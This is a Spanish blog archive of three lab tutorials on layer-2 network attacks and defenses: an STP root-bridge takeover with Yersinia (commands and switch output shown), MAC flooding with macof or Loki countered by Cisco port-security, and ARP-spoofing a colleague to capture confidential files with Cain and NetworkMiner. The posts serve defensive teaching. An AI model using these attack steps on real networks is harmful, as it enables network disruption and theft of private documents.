Archivo de la etiqueta: Seguridad capa 2

Protegiendo STP, Parte I

Posted on por
Responder

Spanning Tree Protocol (STP) es un protocolo que permite dotar a nuestra red de un entorno  de tolerancia ante fallos mediante la creación de enlaces redundantes. Estos enlaces generarán bucles en la red, lo cual  introduce serios problemas a nuestra infraestructura. Dada la ausencia de un campo como el TTL en las cabeceras del protocolo IP, que se decrementa en “1” por cada dispositivo de capa 3 por el que pasa; en una trama, unidad de capa 2, no hay nada similar con lo las tramas pueden circular indefinidamente en nuestra red. Esto es especialmente dañino en el caso de tramas Broadcast pudiendo afectar también el Unicast,  provocando una ralentización de la red tanto por el consumo de ancho de banda de los enlaces como de CPU de los switches.

No me voy a detener en explicar cómo funciona dicho protocolo, para eso os dejo algunos enlaces cuyos autores lo hacen muy bien:

Enlace 1

Enlace 2

Enlace 3

Enlace 4

Enlace 5

A partir de este protocolo han ido surgiendo otros como RSTP, PVSTP+, PVRSTP y MST que basándose en la idea original han ido evolucionando y aportando mejoras.

Lo cierto es que este protocolo no está exento de problemas. Me explico, como todo protocolo es fácil “ponerlo en marcha”, pero desde el punto de vista de la seguridad y de la topología de nuestra red debiéramos añadir algunas configuraciones adicionales para no llevarnos “sustos”.

Pongamos un ejemplo. Dada la siguiente topología, tenemos el switch “SW-CORE-01” como el switch con “menos” prioridad, 8192. Luego el “SW-CORE_02”, con 32768. Finalmente el “SW-OFICINAS-01”, con 65535. Esto quiere decir que inicialmente todo el tráfico a nivel 2, generado por los equipos conectados a “SW-OFICINAS-01” irá hacia el “SW-CORE-01” por la interfaz Fa 1/14. Si este enlace se rompiese por alguna razón, el “SW-OFICINAS-01” levantará el enlace que tiene bloqueado, el Fa 1/15 que lo une con “SW-CORE-02” y comenzará a enviar las tramas hacia él.

La configuración de los tres equipos quedaría así: 

sw-core-01#show spanning-tree vlan 10 brief

VLAN10

Spanning tree enabled protocol ieee

Root ID    Priority    8192

Address     c200.0480.0000

This bridge is the root

Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec

Bridge ID  Priority    8192

Address     c200.0480.0000

Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec

Aging Time 300

Interface                                   Designated

Name                 Port ID Prio Cost  Sts Cost  Bridge ID            Port ID

FastEthernet1/0      128.41   128    19 FWD     0  8192 c200.0480.0000 128.41

FastEthernet1/15     128.56   128    19 FWD     0  8192 c200.0480.0000 128.56

SW-CORE-02#show spanning-tree vlan 10 brief

VLAN10

Spanning tree enabled protocol ieee

Root ID    Priority    8192

Address     c200.0480.0000

Cost        19

Port        56 (FastEthernet1/15)

Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec

Bridge ID  Priority    32768

Address     c201.0480.0000

Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec

Aging Time 300

Interface                                   Designated

Name                 Port ID Prio Cost  Sts Cost  Bridge ID            Port ID

FastEthernet1/0      128.41   128    19 FWD    19 32768 c201.0480.0000 128.41

FastEthernet1/15     128.56   128    19 FWD     0  8192 c200.0480.0000 128.56

SW-OFICINAS-01#show spanning-tree vlan 10 brief

VLAN10

Spanning tree enabled protocol ieee

Root ID    Priority    8192

Address     c200.0480.0000

Cost        19

Port        55 (FastEthernet1/14)

Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec

Bridge ID  Priority    65535

Address     c202.0480.0000

Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec

Aging Time 300

Interface                                   Designated

Name                 Port ID Prio Cost  Sts Cost  Bridge ID            Port ID

FastEthernet1/0      128.41   128    19 FWD    19 65535 c202.0480.0000 128.41

FastEthernet1/14     128.55   128    19 FWD     0  8192 c200.0480.0000 128.41

FastEthernet1/15     128.56   128    19 BLK    19 32768 c201.0480.0000 128.41

A todo esto tenemos un atacante en conectado a interfaz FA 1/0 del “SW-OFICINAS-01”.

Pero… ¿qué podría hacer nuestro atacante? Bueno si tenemos el switch de acceso “SW-OFICINAS-01” configurado sin más parámetros referentes a STP, pueeeesssss bastante daño…

Mediante la aplicación Yersinia, de la cual ya he hablado en otros posts,  podríamos lanzar un ataque enviando BPDUs especialmente diseñadas y provocar que la red se desestabilice. ¿Cómo? Ahí vamos…

Correremos la aplicación en modo daemon_

root@bt:~# yersinia –D

Luego abrimos un teleet contra la interfaz loopback. Las credenciales son root, root.

root@bt:~# telnet 127.0.0.1 12000

Trying 127.0.0.1…

Connected to 127.0.0.1.

Escape character is ‘^]’.

Welcome to yersinia version 0.7.1.

Copyright 2004-2005 Slay & Tomac.

login: root

password: root 

MOTD: Do you have a Lexicon LX-7? Share it!! 😉

Entramos como super usuario. La contraseña es tomac

yersinia> enable

Password:

Definimos la interfaz por donde lanzaremos el ataque:

yersinia# set stp interface eth0

De los distintos ataques que tenemos lanzaremos el número 2. Lo que haremos será mandar BPDUs de configuración indicando que el PC del atacante tiene una prioridad “0” para el protocolo STP. Esto provocará que los otros equipos al recibir esta BPDU, verán que existe “otro switch” con una prioridad menor que los otros y por lo tanto el supuesto switch deberá ser el “root bridge” y no el “SW-CORE-01”.

yersinia# run stp

<0>   NONDOS attack sending conf BPDU

<1>   NONDOS attack sending tcn BPDU

<2>   DOS attack sending conf BPDUs

<3>   DOS attack sending tcn BPDUs

<4>   NONDOS attack Claiming Root Role

<5>   NONDOS attack Claiming Other Role

<6>   DOS attack Claiming Root Role with MiTM

<cr>

yersinia# run stp 2

Ahora si verificamos la configuración de STP en cada uno de los switches nos queda:

sw-core-01#show spanning-tree vlan 10 brief

VLAN10

Spanning tree enabled protocol ieee

Root ID    Priority    0

Address     32d6.7e27.7660

Cost        38

Port        41 (FastEthernet1/0)

Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec

Bridge ID  Priority    8192

Address     c200.0480.0000

Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec

Aging Time 300

Interface                                   Designated

Name                 Port ID Prio Cost  Sts Cost  Bridge ID            Port ID

FastEthernet1/0      128.41   128    19 FWD    19 65535 c202.0480.0000 128.55

FastEthernet1/15     128.56   128    19 FWD    38  8192 c200.0480.0000 128.56

SW-CORE-02#show spanning-tree vlan 10 brief

VLAN10

Spanning tree enabled protocol ieee

Root ID    Priority    0

Address     1f33.e802.aab3

Cost        38

Port        41 (FastEthernet1/0)

Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec

Bridge ID  Priority    32768

Address     c201.0480.0000

Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec

Aging Time 300

Interface                                   Designated

Name                 Port ID Prio Cost  Sts Cost  Bridge ID            Port ID

FastEthernet1/0      128.41   128    19 FWD    19 65535 c202.0480.0000 128.56

FastEthernet1/15     128.56   128    19 BLK    38  8192 c200.0480.0000 128.56

SW-OFICINAS-01#show spanning-tree vlan 10 brief

VLAN10

Spanning tree enabled protocol ieee

Root ID    Priority    0

Address     1330.452b.42d1

Cost        19

Port        41 (FastEthernet1/0)

Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec

Bridge ID  Priority    65535

Address     c202.0480.0000

Hello Time   2 sec  Max Age 20 sec  Forward Delay 15 sec

Aging Time 300

Interface                                   Designated

Name                 Port ID Prio Cost  Sts Cost  Bridge ID            Port ID

FastEthernet1/0      128.41   128    19 FWD     0 23630 1330.452b.42d1 128.2

FastEthernet1/14     128.55   128    19 FWD    19 65535 c202.0480.0000 128.55

FastEthernet1/15     128.56   128    19 FWD    19 65535 c202.0480.0000 128.56

Como podemos comprobar para el “SW-OFICINAS-01” el switch “root bridge” se alcanza por el puerto Fa 1/0 que es donde está conectado el supuesto atacante. Ahora en este switch el puerto Fa1/15 en lugar de estar en modo “BLOCK” está en “Forward”. Por otro lado ahora el que está en modo “Blocked” es el Fa 1/15 del “SW-CORE-02”.

Si analizamos con Wireshark el tráfico vemos como las BPDUs indican un cambio de topología, “Topology Change = 1”. También podemos ver que la dirección MAC es distinta en todos los casos, eso es porque Yersinia manda las distintas Tramas con MAC de origen aleatoria.

¿Cómo evitar todo esto? Eso es el tema de la siguiente entrada….

Seguiremos informando…

Seguridad en puerto

Posted on por

Dentro de las redes de datos podemos establecer dos grandes diferencias en lo que a comunicaciones se refiere. Las que se producen dentro de una red y las que no. Es decir, si un equipo se comunica con otro dentro de su mismo espacio de direccionamiento  (por ejemplo, la IP 192.168.1.10/24 con la 192.168.1.20/24), o bien si se comunica con otro de una red diferente, (la IP 192.168.1.10/24 con la 10.0.0.10/24).

Cuando un equipo se quiere comunicar con otro de su misma red los equipos que se emplean actualmente son los Switches, aunque también podemos encontrar Hubs o Puentes, pero ya están en desuso. Nos referimos en este caso a switches en su sentido tradicional, no switches multicapa. Las comunicaciones a este nivel se producen considerando las direcciones MAC de los equipos finales, o lo que es lo mismo se realizan a nivel de Capa de Enlace, la número 2 del Modelo OSI. Si bien se necesita la IP del equipo de destino, lo que se considera es la dirección MAC, no la de Capa de Red.

Para entender su funcionamiento pondremos un ejemplo con dos equipos llamados “origen” y “destino”. Para ello el equipo “origen” deberá conocer la IP del de “destino”, y al darse cuenta que está dentro de su misma red obtener la MAC del de “destino”. Para ello echará mano del protocolo ARP. El protocolo ARP permite conocer la dirección MAC de un equipo a partir de una IP conocida. Por tanto, si “origen” no la tiene almacenada en su caché ARP  deberá realizar un ARP request. Es decir, preguntará a toda su red sobre cuál es la MAC del equipo con IP XXX.XXX.XXX.XXX. En este caso la dirección MAC de destino será ff:ff:ff:ff:ff:ff, un broadcast de capa 2. Todos los equipos la recibirán y la procesarán pero sólo el que tenga la IP por la cuál se pregunta contestará con un ARP Reply, diciendo “–La MAC de la IP XXX.XXX.XXX.XXX es XX:XX:XX:XX:XX:XX. Conocida por “origen” tanto la IP y MAC de “destino”, se producirá la comunicación. Si por el motivo que sea no se conocen algunos de estos campos, la misma no se produce.

Así pues, un Switch, a diferencia, de los Hubs introduce un nivel de “inteligencia”. Un switch contiene una tabla, denominada CAM (Content-Addresseable Memory), en la cual se incluyen las direcciones MAC de cada uno de los equipos conectados a los distintos puertos del switch. Para realizar las tareas de conmutación, acudirá a ella para saber por cuál de ellos deberá enviar el tráfico en función de la MAC de destino. Esta asignación de direcciones MAC podrá hacerse de forma dinámica o manual. La forma manual implica que el administrador asigne a cada puerto del switch la MAC del equipo conectado; mientras que la forma dinámica se basa en que por cada trama que ingrese por cada boca del switch, éste mirará la MAC de origen y la incluirá en la CAM. Pasado cierto tiempo, si no se recibe tráfico se borrará dicho registro. Así, a la hora de efectuar la comunicación, los switches se fijarán en la MAC de destino, consultarán dicha tabla para saber por qué puerto deben enviarla y la “despacharán”.

De lo anterior se desprende que, en un modo de aprendizaje dinámico (siendo el modo por defecto y más extendido) toda trama que contenga una MAC distinta, será almacenada en CAM. Y ¿qué pasaría si generásemos constantemente tramas con MAC de origen aleatorias? Pues que el tamaño de la CAM iría en aumento ocupando cada vez más memoria y por tanto consumiendo recursos. Este ataque es lo que se denomina MAC Flooding pudiéndose  llevar a cabo con aplicaciones como macof (incluída en Backtrack) o Loki aunque este último tiene otros muchos usos, de lo más interesantes y  de los que espero hablar en futuros post.

En este caso no será destacar el desbordamiento del buffer del switch, que también, sino que además deberemos considerar otros aspectos aparte de éste.

Una intrusión como norma general se producirá sin que nosotros nos demos cuenta. Es decir el atacante será lo más sigiloso posible para evitar ser detectado y poder llevar a cabo aquello que tenga en mente sin que nadie se entere. Sin embargo, este no es el único vector. Otra de la políticas que podremos emplear es montar un follón y escondernos entre la multitud para que sea mucho más difícil que nos encuentren.

Imaginaros que comenzamos a generar 10000 MACs y el administrador consulta la tabla MAC del switch, ¿cuál de esas 10000 es la del atacante? Vale nos han pillado, pero ¿desde qué MAC se está enviando ese tráfico? Encima si el atacante cambia su MAC, por ejemplo con macchanger.

Pongamos algún ejemplo. Para hacerlo sencillo, a continuación os dejo una captura de la interfaz de la herramienta Loki con la que generaré un total de 10 MACs de forma aleatoria.

Y bien, si ahora consultamos la tabla CAM para la interfaz a la que estoy conectado:

Imaginaros si ahora me da por poner en lugar de 10, 1000000, pues eso… el listado es un “poquito” más largo…

Para mitigar este ataque, algunos switches permiten establecer un máximo de direcciones MAC a almacenar en la tabla CAM por cada puerto. Si este número se sobrepasa, se podrá tomar una decisión desde mandar un trap de SNMP hasta “apagar” el puerto. En los switches Cisco esta configuración se denomina port-security. En el ejemplo siguiente se configurará la interfaz FastEthernet 0/1 en modo “acceso” (es decir para conectar equipos finales), se habilitará la característica port-security,  se aprenderán de forma dinámica un máximo de 10 direcciones MAC, y en caso de sobrepasar este número el puerto se deshabilitará.

Si por ejemplo ahora generamos 11 MAC’s nos aparecerá en consola:

Si consultamos el estado del puerto veremos que :

Tiene lógica. ¿Para qué voy a dejar al switch que aprenda indiscriminadamente direcciones MAC cuando en realidad tengo 1 o 2 equipos conectados a ese puerto? Le puedo dejar que aprenda, por ejemplo 5 como máximo, y si se sobrepasa que se apague el puerto. De igual manera que quitamos servicios en un servidor, lo mismo podremos hacer con las funcionalidades de nuestros equipos. Mejor que un usuario proteste porque no puede navegar o consultar tal o cual archivo antes que nos la líen. No debemos olvidarnos que una cadena es tan fuerte como el más débil de sus eslabones.

En fin, a tener cuidado.

Seguiremos informando….

Robo de archivos

Posted on por
Responder

Todos somos conscientes que hoy en día la información es poder y que, para cualquier organización, controlar el acceso de los usuarios a determinados documentos, bases de datos, directorios, etc. resulta obligado. La fuga de información o la adquisición de la misma de forma ilegítima, en sí misma  puede convertirse en un gran problema al margen de las repercusiones legales que puedan derivarse.  Además, el espionaje industrial, gubernamental, empresarial o incluso doméstico, viene siendo una realidad desde hace tiempo. Flame, Stuxnet, Zeus, Spyeye, son algunos de los ejemplos más conocidos.

Pero ciñéndonos a entornos locales empresariales, el acceso y explotación de la documentación e información almacenada en ficheros  no deja de ser menos importante. Ni tan siquiera para una PYME. Por ejemplo, imaginemos un empleado descontento que decide copiarse los datos de clientes, cuentas bancarias, precios, números de teléfono, etc.  y decide filtrarlo o publicarlo en una clara maniobra de desprestigio o sabotaje. Incluso, dependiendo de la actividad de la empresa, por ejemplo sector sanitario, divulgar información de personas que la LOPD pueda perseguir y penalizar, y que cuando menos,  puede desembocar en multas elevadas.

Llegados a este punto, y sin extendernos demasiado, llegamos a la conclusión que la seguridad interna es vital tenga la organización en cuestión, el tamaño que tenga. Por tanto, hay que controlar  si  tal o cual usuario,  debe tener acceso a un archivo y lo que puede hacer con él. Pero ¿es suficiente con implementar permisos específicos sobre archivos y filtrar con firewalls el tráfico de red? Si bien esto es igualmente necesario, muchas veces nos centramos en proteger aquellos servidores que prestan uno u otro servicio, y nos olvidamos que todo (o casi) va sobre tramas, paquetes o segmentos. La seguridad no sólo  hay que aplicarla a los sistemas, también a la infraestructura que permite que éstos se comuniquen.

Imaginemos por un momento un escenario en el que nuestro Jefe, él y sólo él tiene acceso a un servidor donde se aloja información confidencial. Obviamente no tiene un switch y un cable para él solo, sino que tanto él como nosotros estamos conectados al mismo y con toda seguridad, a la misma VLAN. De ahí, por medio de equipos de conmutación multicapa, o routers, llegamos a la granja donde se encuentra nuestro servidor de ficheros, situado ahí sí, en una VLAN distinta a la nuestra.

Para la ocasión he creado una red de la cual he sacado la parte que nos interesa, como veréis tampoco está toda:

En resumen, el “Jefe” tiene acceso al servidor de fichero mientras que el “Atacante” no tiene acceso a nada, ya que hemos incluido en el switch “CORE_OF_01” una ACL (Access Control List, Lista de Control de Acceso) que deniegue todo el tráfico de la IP 192.168.10.20 a cualquier destino y permita solo el tráfico de la 192.168.10.22 a la 192.168.100.100. Puesto que cada ACL lleva implícito un deny any any sólo nos bastará con autorizar al equipo del jefe, ya que el resto de tráfico quedará denegado. Configuraremos entonces:

core-of-01(config)# access-list 100 permit ip host 192.168.10.22 host 192.168.100.100
core-of-01(config)#interface vlan 10
core-of-01(config-if)#ip access-group 100 in

Prueba de ello es que no llegamos al servido desde el equipo Atacante:

C:\Documents and Settings\Administrador>ipconfig
Configuración IP de Windows
Adaptador Ethernet Conexión de área local          :
Sufijo de conexión específica DNS : edorta.lcl
Dirección IP. . . . . . . . . . . . . . . . . . . : 192.168.10.20
Máscara de subred . . . . . . . . . . . . . : 255.255.255.0
Puerta de enlace predeterminada   : 192.168.10.1

C:\Documents and Settings\Administrador>ping 192.168.100.100
Haciendo ping a 192.168.100.100 con 32 bytes de datos:

Respuesta desde 192.168.10.2: Red de destino inaccesible.
Respuesta desde 192.168.10.2: Red de destino inaccesible.
Respuesta desde 192.168.10.2: Red de destino inaccesible.
Respuesta desde 192.168.10.2: Red de destino inaccesible.

Estadísticas de ping para 192.168.100.100:
Paquetes: enviados = 4, recibidos = 4, perdidos = 0 (0% perdidos)

A pesar de las limitaciones impuestas, veremos cómo hacernos con aquellos documentos que el “Jefe” consultará. Para ello en el equipo atacante utilizaremos una técnica y dos aplicaciones. La técnica es la archiconocida ARP Spoofing o ARP Poisonig, para llevar a cabo un MITM (Man In The Middle, Hombre en el medio), es decir haremos que todo el tráfico generado por el jefe hacia otras redes (en nuestro caso la del servidor, la 192.168.100.0/24) pase por el ordenador atacante mediante el envío de tramas ARP Reply que envenenarán su caché ARP, indicándole que la MAC de la puerta de enlace,  192.168.10.1, sea la MAC del atacante. Haremos lo mismo con el router, le diremos que la MAC del equipo 192.168.10.22 es la MAC del Atacante. Con ello el Atacante deberá enrutar todo el tráfico recibido por ambas partes para que éstas se comuniquen.

Como aplicaciones utilizaremos, por un lado, Caín para llevar a cabo el ARP Spoofing y Networkminer para capturar tráfico e interpretarlo. NetworkMiner, según definen la propia página web, es una herramienta  de análisis forense de red  que nos permitirá capturar tráfico para un posterior análisis y así detectar nombres de equipos, sesiones, ficheros, etc.

Primero ejecutaremos Caín y acudiremos a la pestaña Sniffer, y dentro de ésta en la de Hosts para llevar a cabo un escaneo de red pulsando en el símbolo + de color azul:

Detectados los host activos, el siguiente paso será hacer el ARP Spoofing.  Para ello nos iremos a la siguiente pestaña la APR desde donde lanzaremos el ataque como tal. Para ello seleccionaremos en la parte de la izquierda la IP del equipo víctima (el Jefe) y en la izquierda la puerta de enlace.

 

Finalmente le daremos al símbolo de color amarillo y veremos como empieza el envenenamiento:

Ahora, le toca turno a NetworkMiner. Para ello nos descargaremos la aplicación e instalaremos .NET Framework 2.0 si no lo tenemos instalado ya en nuestro equipo.

Seleccionaremos la tarjeta de red sobre la cual queremos capturar paquetes y presionamos start:

A media que el Jefe acceda a los ficheros en el servidor veremos cómo éstos van a ir apareciendo en la pestaña Files. En nuestro ejemplo Confidencial.docx y Confidencial.pdf:

Si pinchamos sobre alguno de ellos y seleccionamos en Open Folderaccederemos a la carpeta donde se guardan y una vez allí podremos abrir y ver su contenido:

NetworkMiner ofrece otras opciones entre ellas la posibilidad de ver imágenes. Imaginaros si en una de esas en lugar de un documento con información interesante le pillamos visitando su perfil de Facebook y capturamos sus fotos…. Ejem ejem. Mejor ni pensarlo…

En resumen, la seguridad no pasa solamente por proteger los servidores ni filtrar el tráfico de red por medio de firewalls, IPs’s, etc. ya que la amenaza también puede estar en el extremo del usuario, el más vulnerable. Si bien son medidas necesarias, no son las únicas para prevenir la fuga o acceso no autorizado a determinados archivos, que vaya uno a saber con qué fin serán utilizados. Si bien hay equipos de red que impiden los ataques mediante ARP Spoofing no todos cuentan con esta posibilidad, y los que la tienen no siempre están configurados para ello. Una vez más los administradores de redes y sistemas debemos trabajar conjuntamente.

Seguiremos informado….